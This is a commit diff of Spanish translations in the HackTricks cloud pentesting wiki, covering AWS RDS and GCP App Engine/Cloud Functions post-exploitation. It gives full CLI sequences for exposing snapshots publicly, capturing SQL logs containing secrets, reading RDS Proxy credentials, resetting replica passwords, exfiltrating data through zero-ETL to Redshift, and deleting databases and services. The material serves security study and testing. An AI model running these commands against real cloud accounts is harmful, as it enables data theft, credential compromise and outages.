mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp
This commit is contained in:
+87
-59
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS
|
||||
|
||||
Para más información, consulta:
|
||||
Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@ Para más información, consulta:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Si el atacante tiene permisos suficientes, podría hacer que una **DB accesible públicamente** creando un snapshot de la DB, y luego una DB accesible públicamente desde ese snapshot.
|
||||
Si el atacante tiene permisos suficientes, podría hacer que una **DB accesible públicamente** creando un snapshot de la DB y luego una DB accesible públicamente a partir de ese snapshot.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -39,21 +39,49 @@ aws rds modify-db-instance \
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
Un atacante con rds:StopDBCluster o rds:StopDBInstance puede forzar la detención inmediata de una instancia de RDS o de un clúster entero, provocando la indisponibilidad de la base de datos, conexiones interrumpidas y la interrupción de procesos que dependen de la base de datos.
|
||||
Un atacante con rds:StopDBCluster o rds:StopDBInstance puede forzar la detención inmediata de una instancia RDS o de todo un clúster, provocando la indisponibilidad de la base de datos, conexiones interrumpidas y la interrupción de procesos que dependen de la base de datos.
|
||||
|
||||
Para detener una sola DB instance (ejemplo):
|
||||
Para detener una única instancia de DB (ejemplo):
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
```
|
||||
Para detener todo un clúster de DB (ejemplo):
|
||||
Para detener un DB cluster completo (ejemplo):
|
||||
```bash
|
||||
aws rds stop-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
|
||||
```
|
||||
### `rds:Modify*`
|
||||
Un atacante al que se le concedan permisos rds:Modify* puede alterar configuraciones críticas y recursos auxiliares (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.) sin tocar la instancia o el cluster directamente. Cambios como ajustar parámetros de conexión/tiempo de espera, cambiar un proxy endpoint, modificar qué certificados son de confianza, alterar la capacidad lógica o reconfigurar un subnet group pueden debilitar la seguridad (abrir nuevas vías de acceso), romper el enrutamiento y el balanceo de carga, invalidar las políticas de replicación/backup y, en general, degradar la disponibilidad o la recuperabilidad. Estas modificaciones también pueden facilitar la exfiltración indirecta de datos o dificultar una recuperación ordenada de la base de datos tras un incidente.
|
||||
|
||||
Move or change the subnets assigned to an RDS subnet group:
|
||||
```bash
|
||||
aws rds modify-db-subnet-group \
|
||||
--db-subnet-group-name <db-subnet-group-name> \
|
||||
--subnet-ids <subnet-id-1> <subnet-id-2>
|
||||
```
|
||||
Alterar parámetros de bajo nivel del motor en un grupo de parámetros del clúster:
|
||||
```bash
|
||||
aws rds modify-db-cluster-parameter-group \
|
||||
--db-cluster-parameter-group-name <parameter-group-name> \
|
||||
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
|
||||
```
|
||||
### `rds:Restore*`
|
||||
|
||||
Un atacante con permisos rds:Restore* puede restaurar bases de datos completas desde snapshots, copias de seguridad automatizadas, recuperación punto en el tiempo (PITR), o archivos almacenados en S3, creando nuevas instancias o clústeres poblados con los datos del punto seleccionado. Estas operaciones no sobrescriben los recursos originales — crean nuevos objetos que contienen los datos históricos — lo que permite a un atacante obtener copias completas y funcionales de la base de datos (de puntos temporales pasados o desde archivos externos en S3) y usarlas para exfiltrar datos, manipular registros históricos o reconstruir estados previos.
|
||||
|
||||
Restaurar una instancia DB a un punto específico en el tiempo:
|
||||
```bash
|
||||
aws rds restore-db-instance-to-point-in-time \
|
||||
--source-db-instance-identifier <source-db-instance-identifier> \
|
||||
--target-db-instance-identifier <target-db-instance-identifier> \
|
||||
--restore-time "<restore-time-ISO8601>" \
|
||||
--db-instance-class <db-instance-class> \
|
||||
--publicly-accessible --no-multi-az
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
Un atacante al que se le conceda `rds:Delete*` puede eliminar recursos de RDS, borrando instancias de DB, clústeres, instantáneas, copias de seguridad automatizadas, grupos de subredes, grupos de parámetros/opciones y artefactos relacionados, provocando una interrupción inmediata del servicio, pérdida de datos, destrucción de puntos de recuperación y pérdida de evidencia forense.
|
||||
Un atacante al que se le otorgue rds:Delete* puede eliminar recursos de RDS, borrando DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups y artefactos relacionados, provocando una interrupción inmediata del servicio, pérdida de datos, destrucción de puntos de recuperación y pérdida de evidencia forense.
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
@@ -76,9 +104,9 @@ aws rds delete-db-cluster \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Un atacante con estos permisos podría **crear un snapshot de una DB** y hacerlo **disponible** **públicamente**. Luego, podría simplemente crear en su propia cuenta una DB a partir de ese snapshot.
|
||||
Un atacante con estos permisos podría **crear una snapshot de una DB** y hacerla **públicamente** **disponible**. Luego, podría simplemente crear en su propia cuenta una DB a partir de ese snapshot.
|
||||
|
||||
Si el atacante **no tiene el `rds:CreateDBSnapshot`**, aún podría hacer **públicos** otros snapshots creados.
|
||||
Si el atacante **no tiene el `rds:CreateDBSnapshot`**, aún podría hacer públicas **otras** snapshots ya creadas.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -89,7 +117,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Un atacante con el permiso `rds:DownloadDBLogFilePortion` puede **descargar porciones de los archivos de registro de una instancia de RDS**. Si datos sensibles o credenciales de acceso se registran accidentalmente, el atacante podría usar esta información para escalar sus privilegios o realizar acciones no autorizadas.
|
||||
Un atacante con el permiso `rds:DownloadDBLogFilePortion` puede **descargar porciones de los archivos de registro de una instancia de RDS**. Si datos sensibles o credenciales de acceso se registran accidentalmente, el atacante podría utilizar esta información para escalar sus privilegios o realizar acciones no autorizadas.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
@@ -97,7 +125,7 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
Un atacante con estos permisos puede **hacer DoS a instancias RDS existentes**.
|
||||
Un atacante con estos permisos puede **DoS instancias RDS existentes**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
@@ -109,25 +137,25 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
|
||||
> [!NOTE]
|
||||
> TODO: Probar
|
||||
|
||||
Un atacante con este permiso puede **exportar un snapshot de una instancia RDS a un bucket S3**. Si el atacante tiene control sobre el bucket S3 de destino, potencialmente puede acceder a datos sensibles dentro del snapshot exportado.
|
||||
Un atacante con este permiso puede **exportar un snapshot de una instancia RDS a un S3 bucket**. Si el atacante tiene control sobre el S3 bucket de destino, podría acceder potencialmente a datos sensibles dentro del snapshot exportado.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Impacto potencial**: Acceso a datos sensibles en el snapshot exportado.
|
||||
**Impacto potencial**: Acceso a datos sensibles en la instantánea exportada.
|
||||
|
||||
### Replicación entre regiones de backups automáticos para restauración sigilosa (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Replicación de copias de seguridad automatizadas entre regiones para restauración sigilosa (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Abusar de la replicación entre regiones de backups automáticos para duplicar silenciosamente los backups automáticos de una instancia RDS en otra Región de AWS y restaurarlos allí. El atacante puede entonces hacer que la DB restaurada sea públicamente accesible y restablecer la contraseña maestra para acceder a los datos fuera de banda en una Región que los defensores podrían no monitorear.
|
||||
Abusar de la replicación de copias de seguridad automatizadas entre regiones para duplicar silenciosamente las copias de seguridad automatizadas de una instancia RDS en otra AWS Region y restaurarlas allí. El atacante puede entonces hacer que la DB restaurada sea accesible públicamente y restablecer la contraseña maestra para acceder a los datos fuera de banda en una Region que los defensores podrían no monitorizar.
|
||||
|
||||
Permisos necesarios (mínimo):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` en la Región de destino
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` en la Región de destino
|
||||
- `rds:RestoreDBInstanceToPointInTime` en la Región de destino
|
||||
- `rds:ModifyDBInstance` en la Región de destino
|
||||
Permisos necesarios (mínimos):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (limpieza opcional)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (para exponer la DB restaurada)
|
||||
|
||||
Impacto: Persistencia y exfiltración de datos al restaurar una copia de los datos de producción en otra Región y exponerla públicamente con credenciales controladas por el atacante.
|
||||
Impacto: Persistencia y exfiltración de datos al restaurar una copia de datos de producción en otra Region y exponerla públicamente con credenciales controladas por el atacante.
|
||||
|
||||
<details>
|
||||
<summary>CLI de extremo a extremo (reemplazar marcadores de posición)</summary>
|
||||
@@ -199,26 +227,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Habilitar el registro completo de SQL mediante DB parameter groups y exfiltrar vía RDS log APIs
|
||||
### Habilitar el registro completo de SQL mediante DB parameter groups y exfiltrate via RDS log APIs
|
||||
|
||||
Abusar de `rds:ModifyDBParameterGroup` con las RDS log download APIs para capturar todas las sentencias SQL ejecutadas por las aplicaciones (no se necesitan credenciales del DB engine). Habilitar el engine SQL logging y extraer los archivos de log mediante `rds:DescribeDBLogFiles` y `rds:DownloadDBLogFilePortion` (o el REST `downloadCompleteLogFile`). Útil para recopilar queries que pueden contener secrets/PII/JWTs.
|
||||
Abusar de `rds:ModifyDBParameterGroup` junto con las RDS log download APIs para capturar todas las sentencias SQL ejecutadas por las aplicaciones (no se necesitan credenciales del engine DB). Habilitar el engine SQL logging y obtener los logs de archivo vía `rds:DescribeDBLogFiles` y `rds:DownloadDBLogFilePortion` (o el REST `downloadCompleteLogFile`). Útil para recopilar consultas que puedan contener secrets/PII/JWTs.
|
||||
|
||||
Permisos necesarios (mínimo):
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (solo para adjuntar un parameter group personalizado si la instancia está usando el por defecto)
|
||||
- `rds:RebootDBInstance` (para parámetros que requieren reboot, p. ej., PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
|
||||
Pasos
|
||||
1) Recon del target y del parameter group actual
|
||||
Steps
|
||||
1) Recon target and current parameter group
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Asegúrate de que esté adjunto un DB parameter group personalizado (no se puede editar el predeterminado)
|
||||
2) Asegúrate de que se adjunte un DB parameter group personalizado (no se puede editar el predeterminado)
|
||||
- Si la instancia ya utiliza un grupo personalizado, reutiliza su nombre en el siguiente paso.
|
||||
- En caso contrario, crea y adjunta uno que coincida con la familia del engine:
|
||||
- De lo contrario, crea y adjunta uno que coincida con la engine family:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -244,7 +272,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL engines (requiere reinicio):
|
||||
- Motores de PostgreSQL (requiere reinicio):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -256,11 +284,11 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Deja que la carga de trabajo se ejecute (o genera consultas). Las sentencias se escribirán en los logs de archivos del engine
|
||||
4) Deja que la carga de trabajo se ejecute (o genera consultas). Las sentencias se escribirán en los archivos de logs del motor
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Descubre y descarga los logs (no DB creds required)
|
||||
5) Descubre y descarga los logs (no se requieren credenciales de DB)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -282,7 +310,7 @@ Ejemplo de evidencia (redactada):
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Limpieza
|
||||
- Revertir los parámetros a los valores predeterminados y reiniciar si es necesario:
|
||||
- Revertir los parámetros a sus valores predeterminados y reiniciar si es necesario:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -297,11 +325,11 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Impacto: Post-exploitation acceso a datos capturando todas las sentencias SQL de la aplicación a través de AWS APIs (no DB creds), potencialmente leaking secrets, JWTs y PII.
|
||||
Impacto: Acceso a datos post-explotación al capturar todas las sentencias SQL de la aplicación vía AWS APIs (sin DB creds), potencialmente leaking secrets, JWTs y PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Abusar de RDS read replicas para obtener acceso de lectura fuera de banda sin tocar las credenciales de la instancia primaria. Un atacante puede crear una read replica a partir de una instancia de producción, restablecer la contraseña maestra de la réplica (esto no cambia la instancia primaria), y opcionalmente exponer la réplica públicamente para exfiltrar datos.
|
||||
Abusar de las réplicas de lectura de RDS para obtener acceso de lectura fuera de banda sin tocar las credenciales de la instancia primaria. Un atacante puede crear una réplica de lectura a partir de una instancia de producción, restablecer la contraseña maestra de la réplica (esto no cambia la primaria) y, opcionalmente, exponer la réplica públicamente para exfiltrar datos.
|
||||
|
||||
Permisos necesarios (mínimo):
|
||||
- `rds:DescribeDBInstances`
|
||||
@@ -309,7 +337,7 @@ Permisos necesarios (mínimo):
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (si se expone públicamente)
|
||||
|
||||
Impacto: Acceso de solo lectura a datos de producción a través de una réplica con credenciales controladas por el atacante; menor probabilidad de detección ya que la instancia primaria permanece intacta y la replicación continúa.
|
||||
Impacto: Acceso de solo lectura a datos de producción a través de una réplica con credenciales controladas por el atacante; menor probabilidad de detección ya que la primaria permanece intacta y la replicación continúa.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -341,12 +369,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Evidencia de ejemplo (MySQL):
|
||||
- Estado de la DB de réplica: `available`, replicación de lectura: `replicating`
|
||||
- Estado de la base de datos réplica: `available`, replicación de lectura: `replicating`
|
||||
- Conexión exitosa con la nueva contraseña y `@@read_only=1` confirmando acceso de solo lectura a la réplica.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Abusa de RDS Blue/Green para clonar una DB de producción en un entorno green continuamente replicado y de solo lectura. Luego restablece las credenciales master del green para acceder a los datos sin tocar la instancia blue (prod). Esto es más sigiloso que compartir snapshots y a menudo evade la monitorización centrada únicamente en la fuente.
|
||||
Abusar de RDS Blue/Green para clonar una DB de producción en un entorno green continuamente replicado y de solo lectura. Luego restablece las credenciales del master del green para acceder a los datos sin tocar la instancia blue (prod). Esto es más sigiloso que snapshot sharing y a menudo elude la monitorización centrada únicamente en la fuente.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -393,19 +421,19 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Impacto: Acceso total de solo lectura a una copia casi en tiempo real del entorno de producción sin modificar la instancia de producción. Útil para extracción sigilosa de datos y análisis offline.
|
||||
Impacto: Solo lectura pero acceso completo a los datos en un clon casi en tiempo real del entorno de producción sin modificar la instancia de producción. Útil para extracción de datos de forma sigilosa y análisis sin conexión.
|
||||
|
||||
|
||||
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
|
||||
|
||||
Abusa de Aurora para habilitar el endpoint HTTP del RDS Data API en un clúster objetivo, restablecer la contraseña maestra a un valor que controles y ejecutar SQL sobre HTTPS (no se requiere ruta de red VPC). Funciona en motores Aurora que soportan el Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; algunas versiones de Aurora PostgreSQL/MySQL).
|
||||
Abusar de Aurora para habilitar el endpoint HTTP del RDS Data API en un cluster objetivo, resetear la contraseña master a un valor que controles y ejecutar SQL sobre HTTPS (no se requiere ruta de red VPC). Funciona en motores Aurora que soportan el Data API/EnableHttpEndpoint (p.ej., Aurora MySQL 8.0 provisioned; algunas versiones de Aurora PostgreSQL/MySQL).
|
||||
|
||||
Permisos (mínimos):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Impacto: Bypass network segmentation and exfiltrate data via AWS APIs without direct VPC connectivity to the DB.
|
||||
Impacto: Elude la segmentación de red y exfiltra datos a través de las AWS APIs sin conectividad VPC directa a la DB.
|
||||
|
||||
<details>
|
||||
<summary>CLI de extremo a extremo (ejemplo Aurora MySQL)</summary>
|
||||
@@ -461,21 +489,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
Notas:
|
||||
- Si SQL con múltiples sentencias es rechazado por rds-data, ejecuta llamadas separadas a execute-statement.
|
||||
- Para motores donde modify-db-cluster --enable-http-endpoint no tiene efecto, usa rds enable-http-endpoint --resource-arn.
|
||||
- Asegúrate de que el motor/versión realmente soporte el Data API; de lo contrario HttpEndpointEnabled permanecerá en False.
|
||||
- Si rds-data rechaza SQL con múltiples sentencias, emite llamadas separadas a execute-statement.
|
||||
- Para engines donde modify-db-cluster --enable-http-endpoint no tiene efecto, usa rds enable-http-endpoint --resource-arn.
|
||||
- Asegúrate de que el engine/version realmente soporte la Data API; de lo contrario HttpEndpointEnabled permanecerá False.
|
||||
|
||||
|
||||
### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### Obtener credenciales de la DB mediante secretos de autenticación de RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Abusa de la configuración de RDS Proxy para descubrir el secreto de Secrets Manager usado para la autenticación del backend, luego lee el secreto para obtener las credenciales de la base de datos. Muchos entornos conceden permisos amplios `secretsmanager:GetSecretValue`, lo que hace de esto un pivot de baja fricción hacia las credenciales de DB. Si el secreto usa una CMK, permisos KMS mal acotados también pueden permitir `kms:Decrypt`.
|
||||
Abusa de la configuración de RDS Proxy para descubrir el secreto de Secrets Manager usado para la autenticación del backend, y luego lee el secreto para obtener las credenciales de la base de datos. Muchos entornos conceden ampliamente `secretsmanager:GetSecretValue`, lo que facilita un pivot de baja fricción hacia las credenciales de la DB. Si el secreto usa una CMK, permisos mal acotados de KMS también pueden permitir `kms:Decrypt`.
|
||||
|
||||
Permisos necesarios (mínimo):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` on the referenced SecretArn
|
||||
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
|
||||
- `secretsmanager:GetSecretValue` sobre el SecretArn referenciado
|
||||
- Opcional cuando el secreto usa una CMK: `kms:Decrypt` sobre esa key
|
||||
|
||||
Impacto: Divulgación inmediata del nombre de usuario/contraseña de DB configurados en el proxy; permite acceso directo a la DB o movimientos laterales adicionales.
|
||||
Impacto: Divulgación inmediata del usuario/contraseña de la DB configurados en el proxy; permite acceso directo a la DB o movimiento lateral adicional.
|
||||
|
||||
Pasos
|
||||
```bash
|
||||
@@ -509,27 +537,27 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
|
||||
aws rds wait db-proxy-available --db-proxy-name p0
|
||||
# Now run the enumeration + secret read from the Steps above
|
||||
```
|
||||
Limpieza (laboratorio)
|
||||
Limpieza (lab)
|
||||
```bash
|
||||
aws rds delete-db-proxy --db-proxy-name p0
|
||||
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Exfiltración continua sigilosa vía Aurora zero‑ETL a Amazon Redshift (rds:CreateIntegration)
|
||||
### Exfiltración continua y sigilosa vía Aurora zero‑ETL a Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Abusar de la integración zero‑ETL de Aurora PostgreSQL para replicar continuamente datos de producción en un namespace de Redshift Serverless que controlas. Con una política de recursos de Redshift permisiva que autorice CreateInboundIntegration/AuthorizeInboundIntegration para un ARN de clúster Aurora específico, un atacante puede establecer una copia de datos casi en tiempo real sin credenciales de DB, snapshots ni exposición de red.
|
||||
Abusar de la integración Aurora PostgreSQL zero‑ETL para replicar continuamente datos de producción en un namespace de Redshift Serverless que controles. Con una política de recursos de Redshift permisiva que autorice CreateInboundIntegration/AuthorizeInboundIntegration para un ARN específico de cluster Aurora, un atacante puede establecer una copia de datos casi en tiempo real sin credenciales de DB, snapshots o exposición de red.
|
||||
|
||||
Permisos necesarios (mínimo):
|
||||
Permisos necesarios (mínimos):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (para consultar)
|
||||
- `rds-data:ExecuteStatement` (opcional; para sembrar datos si es necesario)
|
||||
- `rds-data:ExecuteStatement` (opcional; para insertar datos iniciales si es necesario)
|
||||
|
||||
Probado en: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Crear namespace de Redshift Serverless + workgroup</summary>
|
||||
<summary>1) Crear Redshift Serverless namespace + workgroup</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
|
||||
@@ -576,7 +604,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Crear clúster Aurora PostgreSQL (habilitar Data API y replicación lógica)</summary>
|
||||
<summary>3) Crear clúster de Aurora PostgreSQL (habilitar Data API y replicación lógica)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -634,10 +662,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
|
||||
Evidencia observada en la prueba:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION mostró integration_id 377a462b-c42c-4f08-937b-77fe75d98211 y el estado PendingDbConnectState antes de la creación de la DB.
|
||||
- Después de CREATE DATABASE FROM INTEGRATION, listar las tablas reveló el esquema ztl y la tabla customers; al seleccionar desde ztl.customers se devolvieron 2 filas (Alice, Bob).
|
||||
- SVV_INTEGRATION mostró integration_id 377a462b-c42c-4f08-937b-77fe75d98211 y estado PendingDbConnectState antes de la creación de la DB.
|
||||
- Después de CREATE DATABASE FROM INTEGRATION, al listar tablas se revelaron el esquema ztl y la tabla customers; seleccionar desde ztl.customers devolvió 2 filas (Alice, Bob).
|
||||
|
||||
Impacto: Exfiltration continua casi en tiempo real de tablas seleccionadas de Aurora PostgreSQL hacia Redshift Serverless controlada por el atacante, sin usar credenciales de base de datos, backups, ni acceso de red al cluster origen.
|
||||
Impacto: Exfiltration continua casi en tiempo real de tablas seleccionadas de Aurora PostgreSQL hacia Redshift Serverless, controlada por el atacante, sin usar credenciales de base de datos, backups ni acceso de red al clúster de origen.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+13
-12
@@ -20,28 +20,29 @@ Con estos permisos es posible:
|
||||
- Eliminar
|
||||
|
||||
> [!CAUTION]
|
||||
> Sin embargo, **no pude encontrar ninguna forma de acceder a esta información desde el cli**, solo desde la **web console** donde necesitas conocer el **Key type** y el **Key name**, o desde la a**pp engine running app**.
|
||||
> Sin embargo, **no pude encontrar ninguna forma de acceder a esta información desde la CLI**, solo desde la **consola web** donde necesitas conocer el **tipo de Key** y el **nombre de la Key**, o desde la **app en ejecución de App Engine**.
|
||||
>
|
||||
> Si conoces formas más sencillas de usar estos permisos envía un Pull Request!
|
||||
> Si conoces formas más sencillas de usar estos permisos, ¡envía un Pull Request!
|
||||
|
||||
### `logging.views.access`
|
||||
|
||||
Con este permiso es posible **ver los logs de la App**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Seguir logs de la app</summary>
|
||||
Con este permiso es posible **ver los registros de la App**:
|
||||
```bash
|
||||
gcloud app logs tail -s <name>
|
||||
```
|
||||
</details>
|
||||
### Eliminación de servicios y versiones
|
||||
|
||||
### Leer código fuente
|
||||
Los permisos appengine.versions.delete, appengine.versions.list y appengine.services.list permiten gestionar y eliminar versiones específicas de una aplicación App Engine, lo que puede afectar el tráfico si éste está dividido o si se elimina la única versión estable. Mientras tanto, los permisos appengine.services.delete y appengine.services.list permiten listar y eliminar servicios enteros—una acción que interrumpe inmediatamente todo el tráfico y la disponibilidad de las versiones asociadas.
|
||||
```bash
|
||||
gcloud app versions delete <VERSION_ID>
|
||||
gcloud app services delete <SERVICE_NAME>
|
||||
```
|
||||
### Leer el código fuente
|
||||
|
||||
El código fuente de todas las versiones y servicios está **almacenado en el bucket** con el nombre **`staging.<proj-id>.appspot.com`**. Si tienes acceso de escritura sobre él puedes leer el código fuente y buscar **vulnerabilities** y **información sensible**.
|
||||
El código fuente de todas las versiones y servicios está **almacenado en el bucket** con el nombre **`staging.<proj-id>.appspot.com`**. Si tienes acceso de escritura sobre él puedes leer el código fuente y buscar **vulnerabilidades** y **información sensible**.
|
||||
|
||||
### Modificar código fuente
|
||||
### Modificar el código fuente
|
||||
|
||||
Modifica el código fuente para robar credentials si se están enviando o realizar un defacement web attack.
|
||||
Modifica el código fuente para robar credenciales si se envían o realizar un ataque de defacement en la web.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+12
-15
@@ -13,29 +13,30 @@ Encuentra información sobre Cloud Functions en:
|
||||
### `cloudfunctions.functions.sourceCodeGet`
|
||||
|
||||
Con este permiso puedes obtener una **URL firmada para descargar el código fuente** de la Cloud Function:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Obtener URL firmada para descargar el código fuente</summary>
|
||||
```bash
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
</details>
|
||||
### `cloudfunctions.functions.delete`
|
||||
